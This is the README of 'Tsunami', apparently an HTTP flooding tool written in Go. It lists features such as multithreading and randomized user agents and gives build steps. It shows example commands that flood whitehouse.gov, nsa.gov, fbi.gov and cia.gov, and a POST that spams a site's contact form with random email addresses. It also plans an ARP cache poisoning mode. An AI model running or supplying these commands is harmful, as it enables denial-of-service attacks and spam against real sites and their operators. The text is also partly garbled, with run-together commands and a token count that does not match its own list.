Tsunami is an advanced HTTP flooder written in Golang. It's currently implemented features include:
- Live attack stats
- Customizable mutlithreading
- HTTPS support (Note: Certificates aren't verified for performance)
- Realistic User Agent randomization
- Dynamic payloads
- Custom headers
This project is a WIP
./tsunami http://whitehouse.gov -w 100./tsunami --helpgit clone https://github.com/antonhibl/tsunami
cd tsunami
export GOPATH=`pwd`
go get ./...
go buildDynamic tokens allows you to implement elements of randomness in your requests. Tokens may be placed in your URL, body, and header values.
There are currently 2 tokens:
- {D} - A random digit
- {l} - A random lowercase letter
- {L} - A random uppercase letter
On every request, every token will be replaced.
Example command:
./tsunami -w 1 http://nsa.gov/{L}{L}{l}{D}The requests will use URLs similar to these:
http://nsa.gov/AYz3
http://nsa.gov/BCv6
http://nsa.gov/NFz7
http://nsa.gov/IPa1
./tsunami -w 2 "https://fbi.gov/login" POST "username=Anton&password=g1thuB123"./tsunami -w 100 -s 600 "https://cia.gov/" HEAD./tsunami -w 1 "https://zay.li/contact-us" POST "email={l}{l}{l}{l}{l}{l}{l}@gmail.com&message=spamspamspamspam"- ARP Cache Poison Mode